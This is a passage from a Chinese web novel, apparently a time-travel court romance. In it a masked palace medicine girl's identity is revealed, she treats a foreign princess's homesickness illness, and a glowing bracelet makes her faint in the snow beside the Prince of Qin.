轩辕玥顿时显出一副明显被陆天骄打破了这美好气氛的恼怒之态,霎时露着一脸怒气朝着她说“哼,秦王乃本公主的亲皇叔,亲皇叔大婚,本公主爱送什么便送什么,谁敢质疑?再说了,这香囊于秦皇叔本公主认为最适合不过了,这可是由诸多名贵的药草合成,那个什么...什么的,对了,云儿,你来说”。 衣上云见轩辕玥黔驴技穷尴尬着,便连忙抬起头上前搭话道“禀公主,此香囊是由苍术、山.奈、白芷、菖蒲、藿香、佩兰、艾叶等数十种名贵药草混合而成,具有驱虫避秽、防疫气、祛病强身、醒脑通窍之效”。 陆天骄顿时被眼前俩人这话怼的无话可说,竟有些后悔自己一时冲动考虑不周,没想到眼前端详了半天的蒙面女子竟是个有颇高药术的人。 她如今唐突地说出这样失礼的话来。竟一时情急忘记了轩辕玥可是西秦皇族最受宠的公主,且一向古灵精怪,行事自是不用避讳顾忌一切。更何况,她送礼的对象可是她的亲皇叔呢,自是送什么都无人敢质疑。 陆天骄与轩辕玥自小一向表面看似和气,但轩辕玥从来都不喜欢陆天骄的性格。总觉得她表面看似端庄有礼、温婉大方、实则内心城府极深。故自小并不屑与她为伍,此时更不会甘心示弱与她,必要怼得她无话可对。 而陆天骄却将眼神悄悄转向了正深埋着头不知所措的衣上云心里暗自怀疑道“这个香囊明显是这个丫头的,却为何轩辕玥要说是她的。轩辕玥又为何要将那个丫头的香囊赠给秦王殿下,而连她都看出来香囊并非轩辕玥之物,翰哥哥又怎会不知?如今还欣然接受了它,难道这其中有什么我不知道的事情”。 “这位姑娘似曾相识,不知我们以前可曾见过”陆天骄眼睛一转便已有了新的主意,看着衣上云突然开口说话。 衣上云瞬间一脸惊愕,自己整日以面巾遮面示人,实属不常见,难免令人生疑,但面对陆天骄的质问,她却只道了句“奴婢乃宫中侍奉玥公主的宫内小药女,身份卑微,又怎会与身份尊贵的陆大小姐相识”。 陆天骄就在此时已经完全记起,上次正是这个蒙面女子陪驾轩辕玥到西秦学院蝴蝶谷赏蝶的,于是便上前急急确认“哦,我想起来了,上次就是你陪驾公主殿下至学院蝴蝶谷赏蝶的,对吗?” 衣上云不语,轩辕玥一看到她的表情便知道她定是有难言之隐,便挺身帮她档话道“怎么,本公主要谁陪驾,需要陆大小姐的批准认同吗?” “公主误会,小女不敢。小女只是见到她倍感亲切,方觉似曾相识,便想结识认识而已。再说,小女不过只是想知道她的闺名而已,也不是什么出格的大事吧?” 陆天骄此时竟异常胸有成竹理直气壮地说着。 “哼,黄鼠狼给鸡拜年,恐怕你没安什么好心吧。既然陆大小姐对本公主的一个使唤丫头如此感兴趣,本公主今儿就看在秦皇叔对本公主送的大婚贺礼颇为满意的份上,今儿心情好,便满足一下你这个好奇心吧。云儿,告诉陆大小姐你的名讳,让她今儿好好把你记住”轩辕玥冷哼一声朝着衣上云说道。 “公主...奴婢...”衣上云欲言又止,最后还是百般无奈地开了口。 “陆大小姐,小女名唤......衣上云”。 “什么,衣上云”只见陆天骄和身旁一直沉默端坐只顾品茶的陆天麟几乎是在同时几近从坐榻上惊跳起身来,而轩辕玥也顿时为之一震,三人齐齐放眼过去盯向衣上云的脸。 还没等陆天骄说话,陆天麟起身先上前去问道“你刚说你叫衣上云,难道你就是城西衣药师衣上坤府上的大小姐衣上云,那个病榻上昏迷了一年之久的衣上云吗?”。 陆天麟一脸惊愕慌乱失措地质问着,衣上云看着他的眼睛微微颔首肯定道。 陆天麟见她颔首默认,身体顿觉微颤本能地后退了两步,他确实直至到亲自上门退婚那日还尚未见过这衣家大小姐的芳容呢。 陆天麟怎么都没想到她竟不知何时已经真的醒过来了,而且除了脸上蒙纱之外,见她眉宇之间的气质以及今日的行为举止并不像传闻中所说的那般废柴和软弱啊。 而陆天骄此时方知自己聪明反被聪明误,眼下这样的局面显然是自己打了自己的脸。但在自己心爱的秦王殿下面前,她还是要全力以赴来保全自己温婉大方的纯良美名。 她心里急急想着应对之策“一定要先想办法给自己台阶下来才是”。 不得不说陆天骄真的是一个变脸高手,一转眼便听她道“云姐姐,你什么时候醒过来的,怎么都没有派人到学院里报个信呢,我们还都一直惦记着你呢。你什么时候怎么又成了宫里的药女了”。 陆天骄真不愧称为“白莲花”的美誉,此刻正一把搀扶着衣上云的胳膊一边字字关切地询问着。 衣上云却只是低头微笑着,并没有说话。对于如此不能再过熟悉的虚情假意之套路,她在21世纪里见到的实在太多了。 所以她自是不会真心理会,但在众人面前,也不能不一笑泯恩怨,否则岂不是被在场众人都看了笑话,还以为她真的很在乎这个指腹为婚呢?她可一点都不想在这个古代嫁人。 这时轩辕玥朝着走了过来拉开落在衣上云身上陆天骄的一双嫩手,训斥道“你们兄妹俩还好意思说出这样的话,人家醒了你们很失望是不是,巴不得人家姑娘永远都醒不来是吗?”。 “公主,不是你想的那样”陆天麟皱眉急急说话。 “那是怎样,难道你今日知道她已醒,仍信守诺言,西秦学院重新下聘娶了云儿”轩辕玥故意说出这样一句话来讽刺他。 “公主...”此时衣上云拉起轩辕玥的手腕,拼命摇头示意她不要再纠缠下去。轩辕玥却微微低着眼狠狠瞪了衣上云一眼。 平日里云儿叫惯了,只以为她就是一个平常的宫女,却没想到是那个被陆家退了婚的衣府可怜的女子,顿时替她更加心疼起来。 这时,始终坐在一边沉默不语,不怒自威的轩辕翰也终于开了金口缓缓道“过去的事便都过去了”。 他自是早已在婆孙俩初来王府的时候便已命副将程良查明了丝帕的主人正是衣家被西秦学院陆天麟亲自上门退了婚的衣上云,所以从始至终自是心知肚明。 此时看到眼前众人争吵不休,最后还得自己出言才能平息这伙人的愤怒与惭愧。 众人听到此话后一片鸦雀无声,各有所思着。 虽说衣上云醒了,但是毕竟陆天麟也不是那种会遵循父母之命媒妁之言的主,尤其自从轩辕玥上次在西秦学院训斥过后,他已经立誓要奋发图强,做一个顶天立地的好男儿,帮助父亲将西秦学院发扬光大。 而对于陆天骄,无疑今天的一切都是她挑起的事端。本欲辱之,反被其辱。还将哥哥也牵扯进来,可她无论如何也没想到,这个差点成为她嫂嫂的废柴丑女,如今却被轩辕玥如此抬爱,就连自己心心念念的翰哥哥似乎也对她...... 她越想越觉得不对劲,越想越不甘心,越想越是愤怒,亦越是悲伤。到底她凭什么? 而就在承华殿内一室寂静,大家都沉默不语的时候,副将程良匆匆走了进来禀道“殿下,东宁国送亲使者三皇子梅志煊求见”。 他来所为何事...... 第三十二章:众里寻他千百度 就在承华殿内一室寂静,众人都若有所思沉默不语的时候,副将程良匆匆走了进来禀道“殿下,东宁国送亲使臣三皇子梅志煊求见”。 “有请”轩辕翰似是有些惊讶,明日便是大婚吉时,此刻他来做什么。 程良授命后急急走出大殿,轩辕玥听了立马转身过去对着正端坐在大殿正位的轩辕翰说道“秦皇叔,东宁国此次与我西秦和亲竟然派一个皇子担任和亲使臣,看来东宁国国君对这个永乐公主果真如传闻中所说,的确是疼爱有加,才会如此重视。秦皇叔你日后可不要亏待了人家哦”。 轩辕翰听到轩辕玥的这番话,眼睛瞬时朝着轩辕玥迸射出一束寒气逼人的冷光,轩辕玥方知自己说错了话,随即赶紧收声低下头来乖乖静坐不再胡言乱语。一旁的陆天骄见了,竟悄悄地掩唇窃笑。 轩辕翰是谁,他可从来都不会因为任何人任何事而被威胁。 正在众人尚且还沉浸在这冰冷渗人的紧张气氛中时,只见走进来一位英气逼人的翩翩公子。 来人身姿挺拔、浓眉俊眸、积石如玉、列松如翠。一身玄色长袍,墨发全束顶戴王冠,长剑佩腰、眉宇间散发着一身的尊贵之气。 后面紧紧追随着的两名贴身护卫亦是腰间佩剑,各自手执一礼盘,均以红布遮掩着,甚是神秘的样子。 当三人走近轩辕翰面前来的时候恭恭敬敬地作揖行礼。 接着梅志煊便用那颇具磁性却又不失谦逊的声音说道“东宁国送亲使臣梅志煊见过秦王殿下,殿下万福”。 “三皇子不必多礼,请坐”轩辕翰亦是彬彬有礼地示意赐座,只是脸上始终都一如既往地冰块之色。 梅志煊刚入座便示意其中一名护卫将木盘中的礼物呈上,东宁国果真不愧为灵空大陆最富有的国家,接下来所献之礼让在座众人纷纷为之震撼。 只见其中一名侍卫上前来后缓缓掀开手中端着的礼盘上的红布遮盖,随之映入众人眼帘的是木盘里摆放着9个大小相同的玄色精雕木匣。 侍卫继续将木匣的盖子一一打开后,整整九颗罕见的天然夜明珠便显现在众人的眼前,只见这九颗夜明珠颜色分别是不同深浅的黄绿、浅蓝、橙红色系。 众人见此皆目惊口呆,面面相觑着。 此时,梅志煊介绍道“秦王殿下,此乃东宁国献给殿下的见面礼——名为九色悬珠,皆为浑然天成之物”。 只见这九粒呈现出九种不同深浅颜色的夜明珠即使在白天仍然泛着流光溢彩,如此神奇稀世之物,世人哪怕得此一颗已是价值连城,而此时这里竟有足足九颗。 还未等众人缓过神来,紧接着梅志煊起身来亲自朝着另一名护卫走去轻轻掀开了其手中木盘里的红布遮盖,这下就连向来沉稳的轩辕翰都定睛过来为之一愣。 只见红布下遮掩的竟是几只活物——光明女神蝶。 “三皇子,这是何物?”轩辕翰指着神蝶问道,而轩辕玥见此却抢了话过去。 方才她早已发现眼前来人正是自己许久以来碎碎念着的翩翩公子,没想到他们真的会再见,此时她早已按奈不住内心的激动与澎湃道“秦皇叔,让玥儿来禀明皇叔吧,玥儿知道这是何物”。 轩辕玥一边说着一边迈着轻柔的脚步上前走到神蝶边上继续说“此乃世间珍贵无比罕见的光明女神蝶。被誉为世上最美的蝴蝶。皇叔你看,此蝶的双翅上嵌着白色纹脉色带宛若它天然华贵且优美的装饰品,蝶儿振翅婀娜多姿,展翅如同孔雀开屏。皇叔,她还会变色呢。等到了夜里神蝶振翅从天蓝到紫兰不断闪烁变化色泽如同梦幻一般,甚是光彩熠熠呢”。 轩辕玥一边眉飞色舞神采奕奕地说着一边看着梅志煊的俊脸满心狂喜着,宛若一个得宠而又羞涩的孩子般温柔幸福,眼睛散发着甚是满足的得意光芒。 只见她刚一说完便向着身旁的梅志煊问道“东宁三皇子,不知本公主说的对是不对?”。 梅志煊这才意识到原来眼前站着的女子便是西秦公主,便匆匆向其行礼道“不知是公主殿下,还望恕罪。公主冰雪聪明,所言非常正确”。 轩辕玥直顾着一脸痴傻地端详梅志煊,竟连话都没说一句,露着一脸的仰慕之情。众人无不看出她这颇为明显的女儿家心思。 “玥儿,你从哪儿得知的这些?”听到轩辕翰问话,她方才醒过神来缓缓回到原位坐下来。 “皇叔有所不知,前段时日,云儿陪我去西秦学院蝴蝶谷,我们在那里见过这种神蝶”说着,轩辕玥转头看向陆家兄妹俩。 陆天麟和陆天骄一脸诧异,陆天麟急急道“公主,你确定没看错吗?西秦学院蝴蝶谷从未有过这种稀世珍贵的神蝶啊”陆天骄亦是颔首认同哥哥陆天麟所言。 “是吗?那......”轩辕玥正在苦思冥想西秦学院的神蝶到底从何而来,这时便再次传来梅志煊的声音“回公主殿下,神蝶是可以控制的,白天蝶儿可自由自在随意前往外面觅食,夜里必定按时归巢。神蝶珍贵罕见,想必公主之前所见之神蝶,亦应就在此中了”。 听了梅志煊所言,轩辕玥瞬间满脸极致的惊讶。从小到大,她赏蝶无数,还从来都没听过蝴蝶竟可以被人为控制,此时她眼里对梅志煊的敬佩和仰慕之情更深了几许。 缘起,众里寻他千百度,蓦然回首那人却在灯火阑珊处。 寻寻觅觅,原来他是东宁国三皇子。上次分别,他说有缘自会再见,没想到会真的再见,而且这么快,轩辕玥此刻心中的激动无以言表。 衣上云在一旁静静地看着轩辕玥,心里也替轩辕玥高兴着,终于知道心上人姓谁名甚了,衣上云眼睛一眨一眨地看着眼前这对良人,心里默默祝福着期望有情人终成眷属。 目光随即落在了梅志煊身上,而梅志煊的余光似是发觉了,此时同样看向了衣上云,四目相对,而两人又都立即躲闪收了回去。 只是即使衣上云以面纱遮面,梅志煊似乎仍然发现眼前看到的这个眼神似是有种久违的熟悉感,随之又情不自禁地抬头看了衣上云一眼,终究还是没有想起到底是在哪里见过,脸上顿时露出一丝疑虑的神情来。 片刻后,他才作罢不再深思,这时便对轩辕翰缓缓说道“秦王殿下,这些薄礼是我东宁的一些小小心意,还望秦王笑纳。本皇子此次冒昧前来是因为皇妹初至西秦大地,身体多有不适,她又忌讳宫中太医男女大防,不愿让其医治。可明日便是大婚,为不影响明日的吉时,不知殿下可有值得信赖的女医相荐,本皇子自当感激不尽”梅志煊忧心地说着。 轩辕翰正要准备开口,轩辕玥又急急抢了先。 “三皇子不必忧心,本公主今天出宫刚好随身带了医术颇好的医女,皇叔大婚在即,不便与未来皇婶见面,且有诸多不便,事不宜迟,本公主现在即刻就随你前去探望未来皇婶的病情,如何?” 梅志煊听闻大喜,随即将目光投向高高在上的轩辕翰请示,轩辕翰对轩辕玥露出一脸的无可奈何来,不知到底这丫头今天什么情况,对这个东宁三皇子诸事如此上心。 最后,轩辕翰无奈只得道了一句“速去速回” 轩辕玥见轩辕翰应允,便一把拉起衣上云大步朝着门口外踱步而去,梅志煊亦急急向轩辕翰行礼告辞后便紧随其后,上前去带路前往驿站。 随着三人的离开,大殿里顿时鸦雀无声,一室寂静。只剩下了陆天麟陆天骄兄妹和秦王轩辕翰三人。 陆天麟正满腹欣喜全神贯注地欣赏着梅志煊送来的九色悬珠和珍贵的神蝶。 轩辕翰则静坐着端详桌上那个宝蓝色药香囊,许久后才将其轻轻拿起小心翼翼的藏于衣袖之中,那张尊如神抵的脸上忽然露出一丝罕见的甜蜜与享受的表情来。 时已至深冬,陆天骄坐在暖烘烘的大殿里,看着眼前这俩人的行为举止,此时她的心却像跌入了万丈冰窟。 今日所有送给轩辕翰的大婚贺礼中,唯独只有她送来的龙吟、凤鸣两把稀世古琴像是被人完全遗忘了一般静静地弃在边上无人问津,也无人欣赏,唯独除了刚才轩辕玥的一番讥讽。 想着想着,她突然一脸哀伤而又含情脉脉地看了轩辕翰一会儿,最后默默地出声问了句“翰哥哥,你真的喜欢永乐公主吗?” 陆天麟听到这句话吓了一跳,来不及阻止她,只得慌忙地看向轩辕翰此时那张冰冷的脸,他叮嘱过她多少次,妹妹如今怎么还是说出这样的话来。 轩辕翰听到此话却依旧低着眼一脸的冷酷,不言亦不语,就好像根本没听到她的声音一般。 他的脸上在陆天骄来看从小到大除了冰冷,从来都没有对她有过其它不同的表情。而她今天却发现,对衣上云...轩辕翰完全不似那般地冰冷无情。 陆天骄的一句翰哥哥,饱含了多少他们从小一起长大的美好回忆,也饱含了多少她在这回忆中对他以及他们未来的希冀与期望,而在此刻一切所有的美好愿望竟全都化为乌有。 第三十三章:美人,水土不服 陆天骄的一句翰哥哥,饱含了他与轩辕翰从小一起在西秦学院青梅竹马长大的所有美好回忆,也饱含了多少她在这回忆当中对轩辕翰以及他们未来的所有希冀与期望,而在此刻一切美好竟全都化为乌有。 “可是,翰哥哥,即便现在已如此,注定天骄不能做你唯一的王妃,但天骄还是不愿放弃,也不能放弃,天骄为殿下而生,殿下不能将天骄弃之敝履。不能......” 转眼间,只见天色已近黄昏。 送亲队伍下榻的驿馆,里里外外亦是同样张灯结彩,装扮的一片喜庆,引人注目。 冬日里依旧寒风萧萧的一天,这天气也是一天比一天地见冷,所有人心里都默默期盼着明日大喜的日子将会是个好天气。 此时,衣上云和轩辕玥在东宁国三皇子梅志煊的引路下,迈着急匆匆的脚步正穿过驿馆前院厅堂的走廊,很快便步入了永乐公主下榻之所的后院。 已是深冬里的驿馆,院落中不例外的亦是繁华落尽,草木皆枯,到处都光秃秃的,一片萧条之色。 然而却因为院中到处布置挂满了喜庆的大红幔帐,看上去好似院中随处都开满了成片的腊梅朵朵,让人置身其间瞬间觉得不再那么凄冷,反而热闹了许多。 后院的碎玉轩就是东宁国永乐公主前来西秦国和亲在驿站内待嫁的寝室。 此时碎玉轩里外俨然一片灯火通明,侍候的奴才婢女们一个个正忙碌地进进出出着。 “三殿下”奴才们见主子梅志煊归来纷纷欠身行礼。 “此乃西秦国玥公主”梅志煊正式却也举止不失温润地向众人介绍道。 “奴婢们给玥公主请安,公主万福金安”众人听到梅志煊的介绍后纷纷下跪向轩辕玥行大礼,轩辕玥朝其微笑着颔首。 紧接着,门口侍候的婢女便急忙起身来为主子们将厚实的门帘掀开来。 于是三人便匆匆跨过门槛进到门里去,只见暖烘烘的厅堂里正迎面而来一个衣着光鲜、端庄大方、身姿玲珑、冰清玉洁、优雅极致的妙龄少女。 她一听到外面的动静,正向着梅志煊急急走来,一走近梅志煊身旁看了一眼他身边陌生女子的面孔便立马向梅志煊欠身行礼问道“皇兄,这位是?” 梅志煊随即介绍“这是西秦国玥公主” 梅汐媛听闻即刻彬彬有礼地欠身行礼“东宁国梅汐媛见过玥公主”。 轩辕玥与梅汐媛初次相见,却没想到未来皇婶是如此温柔美丽。 只见她一副冰肌玉骨、眉目如画、美若天仙。精致的一张小脸上两处甜甜的小酒窝,似要将人陷进去一般。眉心里竟还长着一颗世间少有的红色美人痣,瞬间显得灵气逼人。皓齿红唇;一双满载星河的炯目,一颦一笑,顾盼生辉。 轩辕玥痴迷地欣赏着眼前这个小美人儿,忽然笑着对其急急道“永乐公主不必多礼,明日你便是我的秦皇婶了”。 梅汐媛听了,立刻透出一脸的绯红羞涩,起身后躲藏了大半个身子在梅志煊身后。 “皇妹,你的身子现在如何了,玥公主带了她贴身的西秦国女医特意前来给你诊治,赶快进去给女医瞧瞧。千万不要误了明天吉时”梅志煊关切道。 “有劳玥公主了”梅汐媛客气地颔首向轩辕玥答谢,随即便转身走进了内屋绕过一个雕刻精致的鎏金屏风后躺在了床榻上,两名贴身侍候的宫女亦紧随其后。 轩辕玥此时方才示意衣上云跟进去为其诊治,衣上云得令立马踱步也跟了进去。 “玥公主请坐”这会儿,梅志煊开口示意轩辕玥在厅堂里歇息坐等。 “三皇子果真不认得我了吗”轩辕玥坐下片刻后忽然说道,梅志煊顿时朝着她看去,露出一脸的诧异。 半天后,轩辕玥见梅志煊已然记不起,便提醒道“前几日,我们主仆在街上遭遇几名恶汉无礼,幸得三皇子出手相助方得已脱险,至今还没来得及报答三皇子的救命之恩呢”。 “那日......是你,本皇子想起来了。还真是有缘,没想到这么快我们就又见面了”梅志煊恍然大悟。 轩辕玥不语,只是颔首傻笑着。 她早已满腹的女儿家心思,他又怎能知晓。此时俩人静坐着却都不知该说些什么了,只剩下一室寂静与随风微微舞动着的烛火静默相伴。 “公主殿下,可以起身了”内屋里衣上云经过一番详细的望闻问切后已经有了结论,此刻对梅汐媛说道。 “本公主的身子到底如何”梅汐媛优雅地起身来问道,贴身侍候的宫女忙上前帮其整理衣冠。 “公主的身体极好,并无大碍,只因初至西秦大地水土不服进而造成了饮食与月信略有不调罢了。所谓不习水土,必生疾病。奴婢这就开方子好好调养一段时日很快便会痊愈的,请公主宽心”衣上云帮她分析安慰道。 “果真如此吗,那会不会影响明天的......洞房花烛夜?”衣上云眼睛一怔,惊讶地看着梅汐媛的眼睛,没想到方才在大厅中还温文而婉的端庄公主一转身,此时竟会问出这样毫不避讳的话题来。 “公主,水土不服虽不是什么大病,但来日方长,为了公主的身子着想,奴婢建议尽量还是避着点好”衣上云徐徐地说。 说完她紧跟着细细问了旁边贴身侍候的宫女梅汐媛近日的饮食情况后对她说“奴婢建议公主近日的吃食先以豆腐开始,豆腐宽中益气,和脾胃,亦是一方水土的代表,更不会刺激肠胃,有利于公主快速适应西秦国的环境。” 梅汐媛这时才认真地听过来衣上云所说“等过一段时间后,公主可逐渐过渡到食粥和汤类,之后再尝试在午膳时间脾胃功能最强的时候开始食用西秦的菜肴”。 末了,衣上云还不忘提醒一旁的宫女“对了,晚间可给公主饮些蜂蜜水来养脾胃,慢慢过渡,很快就会康复的” “你叫什么名字,倒是个聪明伶俐的丫头”梅汐媛听衣上云如此无微不至的交待着,不禁对她颇有好感起来打量道。 “奴婢是御药房的药女,衣上云” “能得西秦公主的厚爱,想必你定有过人的本事。只可惜......”梅汐媛话说了一半欲言又止,她心心念念了那么久的大婚,此刻看来却是要失望了...... 梅汐媛忽然抬头再次急急看向衣上云,像是刚才遗漏了什么似的。就在这时她才惊讶的发现衣上云露在遮面纱外的那双眼睛像极了一个人,像谁呢,她一时又想不起来。这双眼睛太熟悉了。可到底自己是在哪里见过? 最后她只问了句“你为何总是戴着面纱?” 衣上云一怔不假思索地答道“回公主,奴婢脸上有一胎记,怕冲撞到主子贵人们,所以平日里以纱巾遮面”她心里此时甚是埋怨,这个该死的系统芯片为何到现在还不能恢复功能,害的本小姐整日里跟人解释这个烦人的问题。 梅汐媛此刻正用温柔的眼神左右打探着她的脸,面纱中隐隐约约确实看到眼旁透露着一片胎记暗影。 众人整理收拾好行装后,一行人便都跟随着梅汐媛再次回到了厅堂。 梅志煊见状忙起身来问“皇妹,如何?” “皇兄不必担忧,衣药女已经帮皇妹细细诊治过,只是水土不服而已,并无大碍”梅汐媛的语气里明显对自己的病情已经安心了许多。 “公主初到西秦大地,便遭此病痛忧心,玥儿回去后立刻禀报秦皇叔,请秦皇叔在府内多做准备,以备皇婶不时之需”轩辕玥亦是急急起身安慰道。 “多谢玥公主关怀”梅汐媛很快又恢复了开始那般温文而婉、端庄优雅之态。 离开了驿馆,衣上云似有所思,神情恍惚,竟没有注意到轩辕玥在向她问话。 “云儿,你在想什么呢?本公主在问你话呢,未来皇婶到底病情如何?” 直到轩辕玥抓住了衣上云放在膝盖上的两只冻得通红的手,才发现这双手冰冷极了。而衣上云也瞬间醒过神来。 “公主问什么?” 轩辕玥一脸责怪与无奈道“云儿,你和永乐公主在里面究竟发生了何事,为何你出来后就一直精神恍惚呢?未来皇婶真的只是水土不服吗” “嗯,永乐公主真只是水土不服,初到西秦国,由于自然环境和生活习惯的改变,一时半会不能适应。便会出现如食欲不脉、腹胀、腹痛泄泻,或月信不调等。奴婢已经详细检查过,永乐公主只是食欲和月信不调而已,并无其他。而且奴婢已经详细地叮嘱交待过了,用药也极为巧妙,公主且放心便是”衣上云认真地回答。 “那便好。云儿,今日一见,这秦皇婶看起来甚是倾国倾城,果然配得起皇叔”轩辕玥终于露出一脸安心之态的说道。衣上云听着轩辕玥的话却只是轻轻地“嗯”了一声便又转入自己方才的思绪当中。 只是片刻她突然像是才反应过来什么似的,急急道“公主,你怎么知道奴婢的药香囊的?” “哼,就你那点小心思和如鼠的胆量,本公主若不推你一把,这个药香囊怕是永远也到不了它主人的手里吧”轩辕玥早就在出宫前听丁香说了此事。 她笃定衣上云...... 第三十四章:惊现,灼眼的紫芒 轩辕玥笃定了衣上云今日定是没有胆量敢将这个香囊亲手送给轩辕翰,所以她才自作主张帮着在俩人之间牵一根红线。而就依照她这么久下来对轩辕翰种种出乎人意料之外行为举止的细微观察,早已肯定他这个冰山皇叔对衣上云的心思绝对非同一般。 “公主,云儿此举绝对不是公主想的那个意思。云儿只是身份卑微,实在没什么拿的出手的礼物好准备的。而且,奴婢见秦王......”衣上云急急忙忙向轩辕玥解释,生怕自己一片最单纯的心思被人误会。 然还没等她将话说完,轩辕玥便开口打住了她“哼,你什么意思本公主可一点都没有兴趣,而且你此时也已没必要同本公主解释。反正现在东西在秦皇叔手里,秦皇叔是谁啊,他阅人无数,怎么会相信这个用心且精致的药香囊会是本公主做的呢?可他如今却欣然收下了,而且还答应会日日随身佩戴。你有时间,倒是可以猜猜他是什么心思”。 轩辕玥说完即刻轻轻侧过脸去竟捂起嘴坏坏地窃笑起来,片刻后才转回身子端坐好。 衣上云闻此,原本就七上八下的心现在更是不知所措了。 回到秦王府已是万籁俱寂的夜。 半夜里,天空中竟真的飘飘洒洒落起雪花来。 天快亮的时候,屋瓦片、松柏树、王府的院子里角角落落都已经俨然积起了厚厚的一层雪来。 雪中的秦王府除了平日的尊贵与庄严之气外,更多添了一份动人的静态之美。 漫天飞舞的雪花犹如一层纯白无暇的轻薄纱幔,遮盖起王府的每一寸角落。似是给秦王府蒙上了一层神秘的面纱,而神秘面纱下的万物正悄悄静等着,待这一切重生的美好时机的到来。 衣上云不知何时早已趴在了窗前呆呆地双手托腮正细细地欣赏着窗外的漫天飘雪,甚是掩饰不住内心的欢喜而暗自微笑着。 一般女子都会比较喜欢两个季节,一个是春天,因为春天,万物复苏、姹紫嫣红、百花齐放、蜂蝶翩翩起舞;也有许多女子喜欢夏天,因为夏天可以穿着各款新颖飘逸似仙女下凡般的纱裙,与百花争艳。 可或许唯独只有她,自小到大一直却都只对冰天雪地的冬季情有独钟,她认为冬天最是干净纯洁、让人心无杂念、好像时间都静止下来,唯有岁月一片静好。 此刻只见她忽然缓缓起身来,轻轻踮起脚尖小心翼翼地朝门口走去,生怕打扰到别人。一出了门便迈起轻盈的脚步沿着门前的石阶走了下来到院子里,一时间只觉的眼前的此情此景恍如仙境。 她歪着脑袋朝着四下张望看了看并没有人,便抬起双臂来伸了一个大大的懒腰,接着开始无拘无束地向着庭院深处里去漫步起来。 雪中她不由地伸出一只纤细的玉手来手心向上伸展开,雪花一片片轻轻地落在她的掌心,她接住后看着满心欢喜心情舒畅极了,竟然在原地恣意地转了个优美的圈,贪婪不拘的两只手忘情地把玩这自由自在飘飘洒洒的漫天飞雪。 就在此时,承华殿书房里一向作息规律习惯早起的轩辕翰正杵在窗前一脸温柔地欣赏着院子里这幅活色生香的雪中美人图。 他身着一袭玄色锦袍棉服,尊如神邸、明眸凝视,单手负手而立。嘴角微微上扬着看上去心情很好。 今日,西秦国秦王迎娶正妃,婚礼即昏礼,迎亲的队伍早已从秦王府浩浩荡荡地出发前往驿馆了。 “殿下,时辰不早了,该更衣了”副将程良端着一精致的雕花木盘,木盘里放着主子今日大婚的礼服,一走进来便提醒着。 轩辕翰被打扰,他听到却并没有出声,竟自顾自地朝着院里踱步而去。 “殿下......”程良还想继续劝说点什么,最后却只能放弃目送着他径自离去。 他跟随轩辕翰的背影走到窗前透过窗棂看到窗外嬉雪的美人,终于明白发生了什么,顿时一边嘴角流露出一丝窃笑便将大婚的礼服放在一旁的桌案上后独自悄然离去。 衣上云忽然感觉似是身后有人,便急急一个转身,一回首竟看到不知何时已经站在自己身后的轩辕翰。顿时脸上的笑容僵住瞬间被惊吓地脚下一滑差点向后扑倒而去,一站稳下来便连忙欠身行礼“殿下”。 轩辕翰看她被他惊吓到,立即伸出双手去扶却扑了个空。最后倒抽了一口气问道“下这么大的雪,你不冷吗?” “嗯?哦,是有点冷,不过奴婢打小喜欢下雪天,自然已经习惯了。殿下快看,这轻柔的皑皑白雪,真的很美呢”衣上云用极其欢快的声音回答轩辕翰。 她这会只顾着自己,好似意犹未尽。然又立刻双手合拢,轻轻哈了两口热气,却没发现全身的棉衣早都已落满白雪。 “你喜欢下雪?”轩辕翰依旧冰冷的面孔问。 “嗯,小时候就很是喜欢,经常穿着很单薄的衣裳在雪地里玩,被爹娘训斥,但仍然喜欢着。长大后,奴婢的一个故人曾经告诉奴婢,下雪的时候,一定要约喜欢的人在雪中走一走,因为走着走着就一起白了头”。 衣上云一边回忆一边说着陷入了深深的沉思当中,心中不由涌上了那份压在心底里沉甸甸的思念之愁——是因为21世纪里她很小的时候便离开了父母独自身在异乡,又许是因为她21世纪的心上人魏明轩,至今下落不明。而如今她却...... 轩辕翰看着她低垂沉思的脸,眼神忽然扫向了她身上的落雪,竟有好多已经化作雪水在一寸寸浸湿她的棉衣。 轩辕翰顺势捉起自己一只衣袖,竟向着衣上云逼身过去伸出他那温热的大手帮她轻轻弹落衣上的飘雪,紧接着又触向她的刘海,轻柔地拨着却更像是抚慰。 衣上云害羞地低着眉眼,如此近距离地与他站在一起,此刻仿佛都能听到他“砰砰砰”强而有力的心跳声,而那瘦弱苍白的脸此刻早已是一片绯红直达耳根。 只是她瞬间似是醒悟,速速躲闪后退低着头慌乱地说道“殿下,奴婢自己处理便可”说着,便自己在身上胡乱一通地拍打着。 轩辕翰见她害羞,便道“那衣药女,本王现在算不算陪你一起走在雪中呢?” 衣上云听到这句话顿时不知所措,慌忙想着该如何应答。 轩辕翰见她低头不语便继续踱步上前,竟强拉起她的一只纤纤玉手想要紧紧握住,不知道意欲何为? 正在衣上云万般惊慌之际,只见轩辕翰一不小心触碰到她戴在手腕上的七彩.金丝彩玉镯子,瞬间这七彩.金丝彩玉镯子发出一道耀眼的紫色光芒,光芒慢慢散开扩大将俩人紧紧围起来。 在这灼眼的紫色光芒包围起的空间里,轩辕翰惊奇地看到了自己从未见过的世界,而衣上云则看到了自己熟悉的再也不能熟悉的21世纪。 这紫色光芒愈来愈强刺眼至极,俩人都越来越抵抗不住终于侧过脸去,而当轩辕翰最后不得已松开手的刹那间,这耀眼的紫色光芒竟立即消失不见。 而衣上云却随着消失的紫色光芒几乎是在同一时间里晕了过去,向着冰冷的雪地重重倒下。 轩辕翰见势立刻伸手将她捞起横抱起来。 这时,轩辕玥看见。匆匆踏过石阶走下来急急道“秦皇叔,云儿这是怎么了?” 轩辕翰心里紧张极了,刚才发生的景象显然他还没有反应过来到底是怎么回事,只对轩辕玥急急喝道“赶快传太医”。 轩辕玥见势急忙往太医所一边奔去一边心想着着,今日大喜的日子,他们俩这到底怎么回事? 秦王府,云水阁里。 “回殿下,衣姑娘虽然长得清瘦,但是脉象不浮不沉,从容和缓,并无异象。老臣实在不知姑娘她为何会昏迷,可否先让其稍做休息容老臣观察观察”秦王府太医冒着冷汗战战兢兢地向轩辕翰请示道。 “无论如何,本王要她......好好活着”轩辕翰听了皱眉一脸凝重霸道却字字铿锵冷冷地说出这句意味深长的话。 太医闻之甚是惊慌地抬起眼再次看向他,随后急忙擦了擦两鬓的汗滴,倒抽了一口气。 轩辕玥闻之亦是大吃一惊。她长这么大,可从来都没见过秦皇叔正眼看过哪个女子一眼,更别说今日可是她亲眼看到秦皇叔一脸担忧地抱着衣上云,如今还说出这样暧昧不明的话来。可是,秦皇叔今日已然是要大婚了啊。 